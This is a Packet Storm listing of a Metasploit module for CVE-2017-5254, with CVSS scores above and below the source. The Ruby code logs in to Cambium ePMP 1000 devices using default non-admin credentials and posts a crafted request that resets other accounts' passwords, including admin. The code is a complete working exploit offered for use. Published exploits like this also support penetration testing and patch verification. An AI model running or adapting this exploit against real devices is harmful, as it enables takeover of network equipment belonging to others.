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packetstormKarn Ganeshen, metasploit.comPACKETSTORM:181169
HistorySep 01, 2024 - 12:00 a.m.

Cambium EPMP 1000 Account Password Reset

2024-09-0100:00:00
Karn Ganeshen, metasploit.com
packetstormsecurity.com
38
cambium epmp
access control vulnerability
device management
password reset
non-admin login
cve-2017-5254

CVSS2

9

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

7.1

Confidence

Low

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::EPMP  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Cambium ePMP 1000 Account Password Reset',  
'Description' => %{  
This module exploits an access control vulnerability in Cambium ePMP  
device management portal. It requires any one of the following non-admin login  
credentials - installer/installer, home/home - to reset password of other  
existing user(s) including 'admin'. All versions <=3.5 are affected. This  
module works on versions 3.0-3.5-RC7.  
},  
'Author' =>  
[  
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'  
],  
'References' =>  
[  
['CVE', '2017-5254'],  
['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']  
],  
'License' => MSF_LICENSE  
)  
)  
  
register_options(  
[  
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.  
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),  
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer']),  
OptString.new('TARGET_USERNAME', [true, 'Target account - admin / installer / home / readonly', 'admin']),  
OptString.new('NEW_PASSWORD', [true, 'New Password for Target account', 'pass'])  
], self.class  
)  
  
deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')  
end  
  
def run_host(ip)  
unless is_app_epmp1000?  
return  
end  
end  
  
# Account Reset happens here  
def reset_pass(config_uri, cookie)  
pass_change_req = '{"device_props":{"' + "#{datastore['TARGET_USERNAME']}" + '_password' + '":"' + "#{datastore['NEW_PASSWORD']}" + '"},"template_props":{"config_id":"11"}}'  
  
print_status("#{rhost}:#{rport} - Changing password for #{datastore['TARGET_USERNAME']} to #{datastore['NEW_PASSWORD']}")  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => config_uri,  
'cookie' => cookie,  
'headers' => {  
'Accept' => '*/*',  
'Accept-Language' => 'en-US,en;q=0.5',  
'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8',  
'X-Requested-With' => 'XMLHttpRequest',  
'Connection' => 'close'  
},  
'vars_post' =>  
{  
'changed_elements' => pass_change_req,  
'debug' => '0'  
}  
}, 25  
)  
  
good_response = (  
res &&  
res.code == 200 &&  
res.headers.include?('Content-Type') &&  
res.headers['Content-Type'].include?('application/json')&&  
res.body.include?('config_id')  
)  
  
if good_response  
print_good('Password successfully changed!')  
else  
print_error("#{rhost}:#{rport} - Failed to change password.")  
end  
end  
  
#  
# Login & initiate reset_pass  
#  
  
def do_login(epmp_ver)  
if (epmp_ver < '3.0' || epmp_ver > '3.5' && epmp_ver != '3.5-RC7')  
print_error('This module is applicable to versions 3.0-3.5-RC7 only. Exiting now.')  
return  
elsif (epmp_ver >= '3.0' && epmp_ver < '3.4.1') # <3.4.1 uses login_1  
cookie, _blah1, config_uri_reset_pass, _blah2 = login_1(datastore['USERNAME'], datastore['PASSWORD'], epmp_ver)  
if cookie == 'skip' && config_uri_reset_pass == 'skip'  
return  
else  
reset_pass(config_uri_reset_pass, cookie)  
end  
elsif ['3.4.1', '3.5', '3.5-RC7'].include?(epmp_ver)  
cookie, _blah1, config_uri_reset_pass, _blah2 = login_2(datastore['USERNAME'], datastore['PASSWORD'], epmp_ver)  
if cookie == 'skip' && config_uri_reset_pass == 'skip'  
return  
else  
reset_pass(config_uri_reset_pass, cookie)  
end  
end  
end  
end  
`

CVSS2

9

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

7.1

Confidence

Low

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